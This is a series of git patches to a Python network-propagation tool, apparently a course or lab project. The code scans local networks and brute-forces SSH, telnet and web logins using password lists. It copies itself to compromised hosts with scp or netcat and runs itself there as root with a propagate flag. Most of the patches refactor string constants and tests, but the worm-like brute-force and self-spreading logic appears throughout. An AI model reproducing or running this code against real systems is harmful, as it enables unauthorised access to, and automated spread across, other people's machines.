Find other means for transferring a file, used to have - # telnet here too but now it's just SSH) except ConnectionRefusedError: return False diff --git a/src/strings.py b/src/strings.py index 50c0863..54f4c0e 100644 --- a/src/strings.py +++ b/src/strings.py @@ -1,11 +1,4 @@ #!/usr/bin/python3 -# TODO: Make sure comments are accurate. -""" -===PLEASE READ=== -String functions and constants are organised alphabetically. Every string -function has a block comment explaining what it does and where it's used and -every string constant has a comment describing its use. -""" # Admin user string. ADMIN = "admin" @@ -132,8 +125,6 @@ # Password prompt for web logins, rather the post ID really. PASSWORD_PROMPT_WEB = "password:" -# TODO: The way passwords are handled needs to be heavily revised -# (super insecure), also maybe delete this redundant string commented below? # The default password file being used by scripts. # PASSWORDS_FILE = "passwords.txt" # List of dummy passwords @@ -165,8 +156,6 @@ RSA_AND_PROMPT = "Please type in this password below and say yes to any " \ "RSA key prompts: " -# TODO: On top of moving this prompt to UI, there should be no difference in -# the prompt, avoid confusion. # A different password prompt following the previous one. RSA_PROMPT_AGAIN = "Please type in this password again: " diff --git a/src/test_net_propagation.py b/src/test_net_propagation.py index 8d51bdf..b42c601 100644 --- a/src/test_net_propagation.py +++ b/src/test_net_propagation.py @@ -1,20 +1,10 @@ #!/usr/bin/python3 -# TODO: Make sure comments are accurate. + +# Importing net_propagation for testing. import net_propagation +# Importing strings for common string resources. import strings -""" - - Importing net_propagation for testing. - - Importing strings for common string resources. -""" - -""" -===PLEASE READ=== -Test functions are organised alphabetically. The tests here pertain to -net_propagation.py. Every test function has a block comment explaining what it -does. -""" - def test_additional_actions(): """ @@ -71,7 +61,6 @@ def test_assigning_values(): def test_check_over_ssh(): - # TODO: Mimic an SSH connection for the happy path. """ This function tests the check_check_over_ssh function, it will always fail for now until I figure out how to mock an SSH connection. From a1fe59f2934796807b58c7bde11353ef85341ea9 Mon Sep 17 00:00:00 2001 From: andrewk10 <19553807+andrewk10@users.noreply.github.com> Date: Sat, 19 Mar 2022 13:42:56 +0000 Subject: [PATCH 70/78] [FIX] Final code factor fixes --- src/net_propagation.py | 18 ++++++------------ src/strings.py | 19 +++++++------------ src/test_net_propagation.py | 4 ++-- 3 files changed, 15 insertions(+), 26 deletions(-) diff --git a/src/net_propagation.py b/src/net_propagation.py index 1547e0b..ebe0243 100755 --- a/src/net_propagation.py +++ b/src/net_propagation.py @@ -352,14 +352,9 @@ def propagate_script(ip, port, login_string): client.connect(hostname=str(ip), port=int(port), username=str(login_string_split[0]), password=str(login_string_split[1])) - if os.path.basename(__file__) == strings.NET_PROPAGATION: - client.exec_command(strings.run_script_command( - os.path.basename(__file__))) - client.close() - return True + client.exec_command(strings.run_script_command()) client.close() - return False - + return True except RuntimeError: client.close() return False @@ -444,9 +439,8 @@ def sign_in_service(ip, port, username, password_list): :return None: Only done to indicate an unsuccessful task """ for password in password_list: - login_details = (try_password_for_service(ip, port, username, - password)) - if login_details != strings.BLANK_STRING: + login_details = try_password_for_service(ip, port, username, password) + if login_details is not False: return login_details return None @@ -561,10 +555,10 @@ def try_password_for_service(ip, port, username, password): connect_service = connect_service_switch.get(str(port)) if connect_service(): return str(username) + strings.COLON + str(password) - return strings.BLANK_STRING + return False except RuntimeError: - return strings.BLANK_STRING + return False def try_propagating(arguments, ip, port, bruteforce): diff --git a/src/strings.py b/src/strings.py index 54f4c0e..65c6488 100644 --- a/src/strings.py +++ b/src/strings.py @@ -33,15 +33,9 @@ # Argument to denote the need for further help, just the long version. ARGUMENT_HELP_LONG = "--help" -# +# Prompt to let people know arguments are being assigned for testing. ASSIGNING_ARGUMENTS = "Assigning arguments as part of test" -# Blank IP addresses, mostly for test purposes. -BLANK_IP = "0.0.0.0" - -# Just a blank string, no point assigning multiple of these to memory. :) -BLANK_STRING = "" - # A string that states that the IP and port pair is closed. CLOSED_IP_PORT_PAIR = "This IP address and port pair is closed" @@ -114,7 +108,7 @@ MAIN = "main()" # The name of the net propagation script. -NET_PROPAGATION = "net_propagation.py" +NET_PROPAGATION = "src/net_propagation.py" # Just the numerical form of the number one, again, memory preservation. ONE = "1" @@ -181,6 +175,8 @@ # The syn flag for packet crafting in Scapy SYN_FLAG = "S" +# Test IP addresses. +TEST_IP = "192.168.1.1" # Letting the user know a file couldn't be transferred over SSH default port. TRANSFER_FAILURE_SSH = "File couldn't be transferred over port 22 / SSH" @@ -413,16 +409,15 @@ def help_output(): ARGUMENT_PWS_FILENAME + " " + PWDS_LIST -def run_script_command(filename): +def run_script_command(): """ This function will run the propagation script on another target machine over any service - :param filename: The file that holds the propagation script - :return "net_propagation.py -L -p 22,23 -u " + username + " -f + :return "net_propagation.py -L -p 22 -u " + username + " -f passwords.txt -P": The command itself """ - return filename + " -L -p 22,23 -u " + ROOT + " -f passwords.txt -P" + return NET_PROPAGATION + " -L -p 22 -u " + ROOT + " -f passwords.txt -P" def web_login_url(ip, port): diff --git a/src/test_net_propagation.py b/src/test_net_propagation.py index b42c601..d8cae93 100644 --- a/src/test_net_propagation.py +++ b/src/test_net_propagation.py @@ -15,7 +15,7 @@ def test_additional_actions(): """ arguments = [strings.ARGUMENT_IP_ADDRESS_FILENAME, strings.ARGUMENT_SPECIFIC_PROPAGATION_FILE] - ip = strings.BLANK_IP + ip = strings.TEST_IP username = strings.RANDOM_STRING transfer_file_filename = strings.RANDOM_STRING ports = [strings.SSH_PORT, strings.WEB_PORT_EIGHTY, @@ -65,7 +65,7 @@ def test_check_over_ssh(): This function tests the check_check_over_ssh function, it will always fail for now until I figure out how to mock an SSH connection. """ - assert net_propagation.check_over_ssh(strings.BLANK_IP, strings.SSH_PORT, + assert net_propagation.check_over_ssh(strings.TEST_IP, strings.SSH_PORT, strings.ADMIN, strings.ADMIN) is \ True From 54dc47caa5afe60304538b52754e2920917814c6 Mon Sep 17 00:00:00 2001 From: andrewk10 <19553807+andrewk10@users.noreply.github.com> Date: Sat, 19 Mar 2022 13:53:03 +0000 Subject: [PATCH 71/78] [FIX] Testing paramiko fix, accounted for SSH timeout --- src/net_propagation.py | 9 ++++++--- 1 file changed, 6 insertions(+), 3 deletions(-) diff --git a/src/net_propagation.py b/src/net_propagation.py index ebe0243..78143af 100755 --- a/src/net_propagation.py +++ b/src/net_propagation.py @@ -105,9 +105,8 @@ def check_over_ssh(ip, port, username, password): client.connect(hostname=str(ip), port=int(port), username=str(username), password=str(password)) client.exec_command(strings.touch_file(os.path.basename(__file__))) - if str(client.exec_command - (strings.cat_file(os.path.basename(__file__))) - [1]).__len__() < 1: + if str(client.exec_command("cat src/net_propagation.py")[1])\ + .__len__() < 1: client.close() return True client.close() @@ -117,6 +116,10 @@ def check_over_ssh(ip, port, username, password): client.close() return True + except TimeoutError: + client.close() + return True + except SSHException: client.close() return True From f522c714f54b16ad4f392b0c5b4df4f17d90d179 Mon Sep 17 00:00:00 2001 From: andrewk10 <19553807+andrewk10@users.noreply.github.com> Date: Sat, 19 Mar 2022 14:08:59 +0000 Subject: [PATCH 72/78] [FIX] Pipes module with a hard coded string should address this? CodeFactor and injection errors strike again lol :) --- src/net_propagation.py | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/src/net_propagation.py b/src/net_propagation.py index 78143af..c8822ef 100755 --- a/src/net_propagation.py +++ b/src/net_propagation.py @@ -1,6 +1,8 @@ #!/usr/bin/python3 # Importing paramiko modules for SSH connection and exception handling. +import pipes + from paramiko import SSHClient, RejectPolicy from paramiko.ssh_exception import NoValidConnectionsError, SSHException # Importing modules from scapy for Packet Crafting and Sending / Sniffing. @@ -105,8 +107,8 @@ def check_over_ssh(ip, port, username, password): client.connect(hostname=str(ip), port=int(port), username=str(username), password=str(password)) client.exec_command(strings.touch_file(os.path.basename(__file__))) - if str(client.exec_command("cat src/net_propagation.py")[1])\ - .__len__() < 1: + if str(client.exec_command(pipes.quote( + "cat src/net_propagation.py"))[1]).__len__() < 1: client.close() return True client.close() From aad7748c15f3e1d41bc9a119ec8d2b30708d47d0 Mon Sep 17 00:00:00 2001 From: andrewk10 <19553807+andrewk10@users.noreply.github.com> Date: Sun, 20 Mar 2022 09:54:11 +0000 Subject: [PATCH 73/78] [UPDATE] Hardcode all the strings --- src/net_propagation.py | 8 ++++---- src/strings.py | 27 +++++++++++++++------------ 2 files changed, 19 insertions(+), 16 deletions(-) diff --git a/src/net_propagation.py b/src/net_propagation.py index c8822ef..c96dbef 100755 --- a/src/net_propagation.py +++ b/src/net_propagation.py @@ -106,9 +106,9 @@ def check_over_ssh(ip, port, username, password): client.set_missing_host_key_policy(RejectPolicy) client.connect(hostname=str(ip), port=int(port), username=str(username), password=str(password)) - client.exec_command(strings.touch_file(os.path.basename(__file__))) - if str(client.exec_command(pipes.quote( - "cat src/net_propagation.py"))[1]).__len__() < 1: + client.exec_command(strings.touch_file(strings.MAIN_SCRIPT)) + if str(client.exec_command(pipes.quote(strings.cat_file( + strings.MAIN_SCRIPT)))[1]).__len__() < 1: client.close() return True client.close() @@ -357,7 +357,7 @@ def propagate_script(ip, port, login_string): client.connect(hostname=str(ip), port=int(port), username=str(login_string_split[0]), password=str(login_string_split[1])) - client.exec_command(strings.run_script_command()) + client.exec_command(pipes.quote(strings.run_script_command())) client.close() return True except RuntimeError: diff --git a/src/strings.py b/src/strings.py index 65c6488..778585c 100644 --- a/src/strings.py +++ b/src/strings.py @@ -107,6 +107,9 @@ # The main function call. MAIN = "main()" +# The main script. +MAIN_SCRIPT = "main.py" + # The name of the net propagation script. NET_PROPAGATION = "src/net_propagation.py" @@ -119,8 +122,6 @@ # Password prompt for web logins, rather the post ID really. PASSWORD_PROMPT_WEB = "password:" -# The default password file being used by scripts. -# PASSWORDS_FILE = "passwords.txt" # List of dummy passwords PWDS_LIST = "src/test_files/password_list.txt" @@ -160,6 +161,9 @@ # Specifies that the script hasn't been propagated over a port. SCRIPT_NOT_PROPAGATED = "Script couldn't be propagated over this port" +# Just a space, yep, really. +SPACE = " " + # Just an SSH strings, memory saving measures again. SSH = "SSH" @@ -311,10 +315,9 @@ def scp_command_string(port, username, target_ip, filename): :param username: The username for the SSH login :param target_ip: The IP address of the machine we are copying too :param filename: The name of the file to be copied across by SSH - :return "scp -P " + str(port) + " " + filename + " " + username + "@" \ - + target_ip + ":~/": The SSH copy command + :return: The SSH copy command """ - return "scp -P " + str(port) + " " + filename + " " + username + "@" \ + return "scp -P " + str(port) + SPACE + filename + SPACE + username + "@" \ + target_ip + ":~/" @@ -322,10 +325,9 @@ def touch_file(filename): """ This function creates a command for touching a specific file :param filename: The filename of the file we want to touch - :return command: The completed touch command + :return: The completed touch command """ - command = "touch " + filename - return command + return "touch " + filename def ip_list_not_read(filename): @@ -413,11 +415,12 @@ def run_script_command(): """ This function will run the propagation script on another target machine over any service - :return "net_propagation.py -L -p 22 -u " + username + " -f - passwords.txt - -P": The command itself + :return: The command itself """ - return NET_PROPAGATION + " -L -p 22 -u " + ROOT + " -f passwords.txt -P" + return MAIN_SCRIPT + " " + ARGUMENT_SCAN_LOCAL_NETWORKS + " " + \ + ARGUMENT_PORTS + " " + SSH_PORT + " " + ARGUMENT_USERNAME + " " + \ + ROOT + " " + ARGUMENT_PWS_FILENAME + PWDS_LIST + " " + \ + ARGUMENT_PROPAGATE def web_login_url(ip, port): From e62c3c4111c073c23de1aa62c4e62fb03afa27f1 Mon Sep 17 00:00:00 2001 From: andrewk10 <19553807+andrewk10@users.noreply.github.com> Date: Sun, 20 Mar 2022 10:27:20 +0000 Subject: [PATCH 74/78] [UPDATE] More string hard-coding --- src/strings.py | 10 ++++++++-- 1 file changed, 8 insertions(+), 2 deletions(-) diff --git a/src/strings.py b/src/strings.py index 778585c..63793f7 100644 --- a/src/strings.py +++ b/src/strings.py @@ -36,6 +36,9 @@ # Prompt to let people know arguments are being assigned for testing. ASSIGNING_ARGUMENTS = "Assigning arguments as part of test" +# Just the '@' symbol +AT_SYMBOL = "@" + # A string that states that the IP and port pair is closed. CLOSED_IP_PORT_PAIR = "This IP address and port pair is closed" @@ -154,6 +157,9 @@ # A different password prompt following the previous one. RSA_PROMPT_AGAIN = "Please type in this password again: " +# SCP Command String. +SCP_COMMAND = "scp -P" + # Specifies that the script has been propagated over a port (use debug for # specific port number). SCRIPT_PROPAGATED = "Script propagated over this port" @@ -317,8 +323,8 @@ def scp_command_string(port, username, target_ip, filename): :param filename: The name of the file to be copied across by SSH :return: The SSH copy command """ - return "scp -P " + str(port) + SPACE + filename + SPACE + username + "@" \ - + target_ip + ":~/" + return SCP_COMMAND + SPACE + str(port) + SPACE + filename + SPACE + \ + username + AT_SYMBOL + target_ip + ":~/" def touch_file(filename): From a9f8b7af546b00ae7db857c296529de1b8a9a35e Mon Sep 17 00:00:00 2001 From: andrewk10 <19553807+andrewk10@users.noreply.github.com> Date: Sun, 20 Mar 2022 17:43:18 +0000 Subject: [PATCH 75/78] [UPDATE] Hardcoding strings is finished, woopie :) --- src/strings.py | 210 +++++++++++++++++++++++++++++++++++-------------- 1 file changed, 153 insertions(+), 57 deletions(-) diff --git a/src/strings.py b/src/strings.py index 63793f7..afc7a6c 100644 --- a/src/strings.py +++ b/src/strings.py @@ -1,5 +1,8 @@ #!/usr/bin/python3 +# The adding string. +ADDING = "Adding" + # Admin user string. ADMIN = "admin" @@ -33,12 +36,24 @@ # Argument to denote the need for further help, just the long version. ARGUMENT_HELP_LONG = "--help" +# Just a little arrow for CLI output. +ARROW = "->" + # Prompt to let people know arguments are being assigned for testing. ASSIGNING_ARGUMENTS = "Assigning arguments as part of test" # Just the '@' symbol AT_SYMBOL = "@" +# String to describe the username argument under help +A_USERNAME = "A username" + +# Letting the user know we can't read an IP list from a specific file. +CAN_NOT_READ_IP_LIST = "IP list cannot be read from filename:" + +# cat command +CAT = "cat" + # A string that states that the IP and port pair is closed. CLOSED_IP_PORT_PAIR = "This IP address and port pair is closed" @@ -54,15 +69,24 @@ # A string that states a file wasn't transferred. DO_NOT_TRANSFER = "Requirement to transfer file not specified, skipping..." +# Just three dots at the end of a sentence. +ELLIPSES = "..." + # A string for specifying encoding for ascii. ENCODE_ASCII = "ascii" +# A string which specifically states something is example usage. +EXAMPLE_USAGE = "Example usage:" + # An exiting prompt. EXITING = "Exiting..." # Prompts the user that values couldn't be assigned FAILED_ASSIGNING_VALUES = "Failed assigning values (maybe null)" +# Fetching IP for a given interface message +FETCHING_INTERFACE_IPS = "Fetching IPs for interface" + # Prompts the user that their fetching the local interface list. FETCHING_LOCAL_INTERFACE_LIST = "Fetching local interface list..." @@ -72,24 +96,59 @@ # Lets the user know a file doesn't exist. FILE_DOES_NOT_EXIST = "A specified file does not exist" +# Lets the user know that a file is present on the host. +FILE_PRESENT_ON_HOST = "A file is already present on this host:" + +# String for the help output. +FILENAME_LIST_IP_ADDRESSES = "Filename for a file containing a list of " \ + "target IP addresses" + # Lets the user know there's an open port on a specific IP address. FOUND_OPEN_IP_PORT_PAIR = "Found an open IP address and port pair" +# Just simply says "from interface" +FROM_INTERFACE = "from interface" + # Full stop string, memory saving again, reducing redundant assigns. FULL_STOP = "." # There's a problem with parsing a file with a given filename. FILENAME_PROCESSING_ERROR = "One of the filenames are invalid" +# String for defining the passwords filename argument under help. +FILENAME_PWS_FILE = "Filename for a file containing a list of passwords" + +# Greater than symbol. +GREATER_THAN = ">" + +# The help string for the propagation argument definition in help output. +HELP_STRING_PROPAGATION = "Propagates the script onto available devices and " \ + "executes the script using the given command" + +# Home directory string. +HOME_DIR = ":~/" + +# HTTPS String for start of URLs. +HTTPS_STRING = "https://" + # Letting the user know a propagation action had failed. IMPOSSIBLE_ACTION = "It was impossible to bruteforce this IP address and port" +# Specifying that something is from an interface's subnet. +INTERFACE_SUBNET = "'s subnet." + # Letting the user know a specified IP file could not be found. IP_FILENAME_NOT_FOUND = "Could not find the specified IP file" # Name of the test IP list file, prepended with src/ for Pytest to work. IP_LIST = "src/test_files/ip_list.txt" +# Let the suse know that we're checking to see if the IP address is reachable. +IS_IP_REACHABLE = "Checking if the following ip address is reachable:" + +# The less than symbol. +LESS_THAN = "<" + # Lines to check from the test file. LINES = ["Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed " "do eiusmod tempor", "incididunt ut labore et dolore magna " @@ -101,9 +160,19 @@ " proident, sunt", "in culpa qui officia deserunt mollit anim id" " est laborum."] +# The string that defines the local scan argument in the help output. +LOCAL_SCAN_STRING_HELP = "Scans the lan across all interfaces and " \ + "creates/adds to the list of target IP addresses" + +# Login PHP string, generally used with web logins. +LOGIN_PHP = "/login.php" + # The login prompt a user usually sees with SSH. LOGIN_PROMPT = "login:" +# Login to string, another string building constant. +LOGIN_TO = "login to" + # The typical ID of the loopback interface. LOOPBACK = "lo" @@ -111,11 +180,26 @@ MAIN = "main()" # The main script. -MAIN_SCRIPT = "main.py" +MAIN_SCRIPT = "./main.py" + +# Netcat listener, with a specified port, the command. +NETCAT_LISTENER_PORT_COMMAND = "nc -l -p" + +# Netcat writer with a 3-second timeout time, command. +NETCAT_WRITER_COMMAND = "nc -w 3" # The name of the net propagation script. NET_PROPAGATION = "src/net_propagation.py" +# Newline character, mostly used to mimic an enter key press. +NEWLINE = "\n" + +# Two newline and tab special characters. +NEWLINE_NEWLINE_TAB = "\n\n\t" + +# The newline and tab special characters. +NEWLINE_TAB = "\n\t" + # Just the numerical form of the number one, again, memory preservation. ONE = "1" @@ -128,6 +212,9 @@ # List of dummy passwords PWDS_LIST = "src/test_files/password_list.txt" +# Parameters string for help test. +PARAMETERS = "Parameters:" + # Parameters were used incorrectly, so we're telling the user what to do. PARAMETER_MISUSE = "Parameter misuse, check help text below" @@ -141,12 +228,12 @@ # The argument for ping which specifies the number of packets sent. PING_ARGUMENT = "-c" +# String for the help text. +PORTS_TO_SCAN = "Ports to scan on the target host" + # A string just for tests. RANDOM_STRING = "tests" -# Newline character, mostly used to mimic an enter key press. -RETURN_OR_NEWLINE = "\n" - # Root user string. ROOT = "root" @@ -188,6 +275,9 @@ # Test IP addresses. TEST_IP = "192.168.1.1" +# The string used for the touch command +TOUCH_COMMAND = "touch" + # Letting the user know a file couldn't be transferred over SSH default port. TRANSFER_FAILURE_SSH = "File couldn't be transferred over port 22 / SSH" @@ -198,9 +288,21 @@ # Unsuccessful statement to be used with services and actions. UNSUCCESSFUL = "Unsuccessful" +USERNAME_IN_PWS = "using the specified username with a password in the " \ + "passwords file." + # The username prompt that comes with web login POST requests. USERNAME_PROMPT_WEB = "username:" +# Letting the user know something was found. +WAS_FOUND = "was found." + +# A string stating that something was not reachable +WAS_NOT_REACHABLE = "was not reachable" + +# A string stating that something was reachable +WAS_REACHABLE = "was reachable" + # Just a web string to define services and actions. WEB = "web" @@ -219,6 +321,9 @@ # Welcome to string, used for a lot of the prompts. WELCOME_TO = "Welcome to" +# Letting the user know about a working username and password. +WORKING_USERNAME_PASS = "A working username and password for" + def adding_address_to_interface(specific_address, interface): """ @@ -231,8 +336,8 @@ def adding_address_to_interface(specific_address, interface): :return "Adding " + str(specific_address) + " from interface " + str(interface) + "'s subnet.": The string in question """ - return "Adding " + str(specific_address) + " from interface " \ - + str(interface) + "'s subnet." + return ADDING + SPACE + str(specific_address) + SPACE + \ + FROM_INTERFACE + SPACE + str(interface) + INTERFACE_SUBNET def arguments_sets(selection): @@ -267,7 +372,7 @@ def cat_file(filename): :param filename: The filename of the file we want to touch :return "cat " + filename: The completed cat command """ - return "cat " + filename + return CAT + SPACE + filename def checking_ip_reachable(ip): @@ -278,7 +383,7 @@ def checking_ip_reachable(ip): :return "Checking if the following ip address is reachable: " + str(ip): The string in question """ - return "Checking if the following ip address is reachable: " + str(ip) + return IS_IP_REACHABLE + SPACE + str(ip) def connection_status(service, ip, port, status): @@ -286,11 +391,8 @@ def connection_status(service, ip, port, status): This function creates the connection status string dependent on the context given by the arguments passed into it. """ - string = str(status) + " " + str(service) + " login to " + str(ip) + ":" \ - + str(port) \ - + " using the specified username with a password in the " \ - "passwords file." - return string + return str(status) + SPACE + str(service) + SPACE + LOGIN_TO + SPACE + \ + str(ip) + COLON + str(port) + SPACE + USERNAME_IN_PWS def fetching_ips_for_interface(interface): @@ -301,7 +403,7 @@ def fetching_ips_for_interface(interface): :return "Fetching IPs for interface " + str(interface) + "...": The string in question """ - return "Fetching IPs for interface " + str(interface) + "..." + return FETCHING_INTERFACE_IPS + SPACE + str(interface) + ELLIPSES def file_present_on_host(ip): @@ -311,7 +413,7 @@ def file_present_on_host(ip): :return "A file is already present on this host: " + str(ip): The string in question """ - return "A file is already present on this host: " + str(ip) + return FILE_PRESENT_ON_HOST + SPACE + str(ip) def scp_command_string(port, username, target_ip, filename): @@ -324,7 +426,7 @@ def scp_command_string(port, username, target_ip, filename): :return: The SSH copy command """ return SCP_COMMAND + SPACE + str(port) + SPACE + filename + SPACE + \ - username + AT_SYMBOL + target_ip + ":~/" + username + AT_SYMBOL + target_ip + HOME_DIR def touch_file(filename): @@ -333,7 +435,7 @@ def touch_file(filename): :param filename: The filename of the file we want to touch :return: The completed touch command """ - return "touch " + filename + return TOUCH_COMMAND + SPACE + filename def ip_list_not_read(filename): @@ -342,10 +444,9 @@ def ip_list_not_read(filename): a particular filename :param filename: The filename of the file that can't have an ip list derived from it - :return "IP list cannot be read from filename: " + filename: The string in - question + :return: The string in question """ - return "IP list cannot be read from filename: " + filename + return CAN_NOT_READ_IP_LIST + SPACE + filename def ip_reachability(ip, reachable): @@ -359,8 +460,8 @@ def ip_reachability(ip, reachable): reachable """ if reachable: - return str(ip) + " was reachable." - return str(ip) + " was not reachable." + return str(ip) + SPACE + WAS_REACHABLE + FULL_STOP + return str(ip) + SPACE + WAS_NOT_REACHABLE + FULL_STOP def netcat_listener(port, filename): @@ -370,9 +471,10 @@ def netcat_listener(port, filename): :param port: The port on which the netcat listener will operate :param filename: The filename of the file we're moving using the listener parameter - :return "nc -l -p " + str(port) + " > " + filename: The string in question + :return: The string in question """ - return "nc -l -p " + str(port) + " > " + filename + return NETCAT_LISTENER_PORT_COMMAND + SPACE + str(port) + SPACE + \ + GREATER_THAN + SPACE + filename def netcat_writer(ip, port, filename): @@ -383,10 +485,10 @@ def netcat_writer(ip, port, filename): :param port: The port on which the netcat writer will operate :param filename: The filename of the file we're moving using the writer parameter - :return "nc -w 3 " + str(ip) + " " + str(port) + " < " + filename: The - string in question + :return: The string in question """ - return "nc -w 3 " + str(ip) + " " + str(port) + " < " + filename + return NETCAT_WRITER_COMMAND + SPACE + str(ip) + SPACE + str(port) + \ + SPACE + LESS_THAN + SPACE + filename def help_output(): @@ -394,27 +496,23 @@ def help_output(): This is the help output for when the user passes in the help parameter :return: The output itself. """ - return "Parameters:\n\t" + ARGUMENT_IP_ADDRESS_FILENAME + \ - " -> Filename for a file containing a list of " \ - "target IP addresses\n\t" + ARGUMENT_PORTS + \ - " -> Ports to scan on the target host" \ - "\n\t" + ARGUMENT_USERNAME + " -> A username\n\t" + \ - ARGUMENT_PWS_FILENAME + \ - " -> Filename for a file containing " \ - "a list of passwords\n\t" + ARGUMENT_SCAN_LOCAL_NETWORKS + \ - " -> Scans the lan across all " \ - "interfaces and creates/adds to the list of target IP addresses" \ - "\n\t" + ARGUMENT_PROPAGATE + \ - " -> Propagates the script onto available devices and " \ - "executes the script using the given command\nExample usage:\n" \ - "\t./main.py " + ARGUMENT_IP_ADDRESS_FILENAME + \ - " " + IP_LIST + " " + ARGUMENT_PORTS + " " + ALL_PORTS + " " + \ - ARGUMENT_USERNAME + " " + ADMIN + " " + ARGUMENT_PWS_FILENAME + \ - " " + PWDS_LIST + "\n\n\t./main.py " + \ - ARGUMENT_IP_ADDRESS_FILENAME + " " + IP_LIST + " " \ - + ARGUMENT_PORTS + " " + SSH_PORT + " " + ARGUMENT_USERNAME + " " + \ - ROOT + " " + \ - ARGUMENT_PWS_FILENAME + " " + PWDS_LIST + return PARAMETERS + NEWLINE_TAB + ARGUMENT_IP_ADDRESS_FILENAME + SPACE + \ + ARROW + SPACE + FILENAME_LIST_IP_ADDRESSES + NEWLINE_TAB + \ + ARGUMENT_PORTS + SPACE + ARROW + SPACE + PORTS_TO_SCAN + \ + NEWLINE_TAB + ARGUMENT_USERNAME + SPACE + ARROW + SPACE + \ + A_USERNAME + NEWLINE_TAB + ARGUMENT_PWS_FILENAME + SPACE + ARROW + \ + SPACE + FILENAME_PWS_FILE + NEWLINE_TAB + \ + ARGUMENT_SCAN_LOCAL_NETWORKS + SPACE + ARROW + SPACE + \ + LOCAL_SCAN_STRING_HELP + NEWLINE_TAB + ARGUMENT_PROPAGATE + SPACE + \ + ARROW + SPACE + HELP_STRING_PROPAGATION + NEWLINE + EXAMPLE_USAGE + \ + NEWLINE_TAB + MAIN_SCRIPT + SPACE + ARGUMENT_IP_ADDRESS_FILENAME + \ + SPACE + IP_LIST + SPACE + ARGUMENT_PORTS + SPACE + ALL_PORTS + \ + SPACE + ARGUMENT_USERNAME + SPACE + ADMIN + SPACE + \ + ARGUMENT_PWS_FILENAME + SPACE + PWDS_LIST + NEWLINE_NEWLINE_TAB + \ + MAIN_SCRIPT + ARGUMENT_IP_ADDRESS_FILENAME + SPACE + IP_LIST + \ + SPACE + ARGUMENT_PORTS + SPACE + SSH_PORT + SPACE + \ + ARGUMENT_USERNAME + SPACE + ROOT + SPACE + ARGUMENT_PWS_FILENAME + \ + SPACE + PWDS_LIST def run_script_command(): @@ -423,9 +521,9 @@ def run_script_command(): over any service :return: The command itself """ - return MAIN_SCRIPT + " " + ARGUMENT_SCAN_LOCAL_NETWORKS + " " + \ - ARGUMENT_PORTS + " " + SSH_PORT + " " + ARGUMENT_USERNAME + " " + \ - ROOT + " " + ARGUMENT_PWS_FILENAME + PWDS_LIST + " " + \ + return MAIN_SCRIPT + SPACE + ARGUMENT_SCAN_LOCAL_NETWORKS + SPACE + \ + ARGUMENT_PORTS + SPACE + SSH_PORT + SPACE + ARGUMENT_USERNAME + \ + SPACE + ROOT + SPACE + ARGUMENT_PWS_FILENAME + PWDS_LIST + SPACE + \ ARGUMENT_PROPAGATE @@ -434,9 +532,9 @@ def web_login_url(ip, port): This function will build the web login url string :param ip: The IP of the machine running the web service :param port: The port the web service is running on - :return "https://" + ip + ":" + port + "/login.php": The string itself + :return: The string itself """ - return "https://" + ip + ":" + port + "/login.php" + return HTTPS_STRING + ip + COLON + port + LOGIN_PHP def working_username_password(service): @@ -445,8 +543,6 @@ def working_username_password(service): a specific service :param service: Service for which there is a working username and password combination - :return "A working username and password for " + str(service) + - " was found.": The string itself + :return: The string itself """ - return "A working username and password for " + str(service) + \ - " was found." + return WORKING_USERNAME_PASS + SPACE + str(service) + SPACE + WAS_FOUND From c5d6e48e15438737e459f86adfeedc3d2717870d Mon Sep 17 00:00:00 2001 From: andrewk10 <19553807+andrewk10@users.noreply.github.com> Date: Sun, 20 Mar 2022 18:25:25 +0000 Subject: [PATCH 76/78] [FIX/UPDATE] Sanitation on paramiko SSH calls, more hard coding Pipe usage now universal --- src/net_propagation.py | 29 +++++++++++++++++++++++------ src/strings.py | 6 ++++++ 2 files changed, 29 insertions(+), 6 deletions(-) diff --git a/src/net_propagation.py b/src/net_propagation.py index c96dbef..6fb46f2 100755 --- a/src/net_propagation.py +++ b/src/net_propagation.py @@ -106,11 +106,20 @@ def check_over_ssh(ip, port, username, password): client.set_missing_host_key_policy(RejectPolicy) client.connect(hostname=str(ip), port=int(port), username=str(username), password=str(password)) - client.exec_command(strings.touch_file(strings.MAIN_SCRIPT)) - if str(client.exec_command(pipes.quote(strings.cat_file( - strings.MAIN_SCRIPT)))[1]).__len__() < 1: - client.close() - return True + if strings.touch_file(strings.MAIN_FILENAME) == "touch main.py": + client.exec_command(pipes.quote(strings. + touch_file(strings.MAIN_FILENAME))) + else: + logging.error(strings.SANITATION_FAILED) + return False + if strings.cat_file(strings.MAIN_FILENAME) == "cat main.py": + if str(client.exec_command(pipes.quote(strings.cat_file( + strings.MAIN_FILENAME)))[1]).__len__() < 1: + client.close() + return True + else: + logging.error(strings.SANITATION_FAILED) + return False client.close() return False @@ -357,7 +366,15 @@ def propagate_script(ip, port, login_string): client.connect(hostname=str(ip), port=int(port), username=str(login_string_split[0]), password=str(login_string_split[1])) - client.exec_command(pipes.quote(strings.run_script_command())) + if strings.run_script_command() == "./main.py -L -p 22 -u " \ + "root -f " \ + "src/test_files/" \ + "passwords_list.txt -P": + client.exec_command(pipes.quote( + strings.run_script_command())) + else: + logging.error(strings.SANITATION_FAILED) + return False client.close() return True except RuntimeError: diff --git a/src/strings.py b/src/strings.py index afc7a6c..919090b 100644 --- a/src/strings.py +++ b/src/strings.py @@ -179,6 +179,9 @@ # The main function call. MAIN = "main()" +# The main filename +MAIN_FILENAME = "main.py" + # The main script. MAIN_SCRIPT = "./main.py" @@ -244,6 +247,9 @@ # A different password prompt following the previous one. RSA_PROMPT_AGAIN = "Please type in this password again: " +# The error when an SSH command has been tampered with. +SANITATION_FAILED = "SSH command did not pass sanitation checks" + # SCP Command String. SCP_COMMAND = "scp -P" From 7d904d5015313b358177c5d24e413ee743918fe6 Mon Sep 17 00:00:00 2001 From: andrewk10 <19553807+andrewk10@users.noreply.github.com> Date: Sun, 20 Mar 2022 18:32:17 +0000 Subject: [PATCH 77/78] [FIX] Redundant return statement, forgot to close client where needed --- src/net_propagation.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/src/net_propagation.py b/src/net_propagation.py index 6fb46f2..dac4f9d 100755 --- a/src/net_propagation.py +++ b/src/net_propagation.py @@ -111,6 +111,7 @@ def check_over_ssh(ip, port, username, password): touch_file(strings.MAIN_FILENAME))) else: logging.error(strings.SANITATION_FAILED) + client.close() return False if strings.cat_file(strings.MAIN_FILENAME) == "cat main.py": if str(client.exec_command(pipes.quote(strings.cat_file( @@ -119,7 +120,6 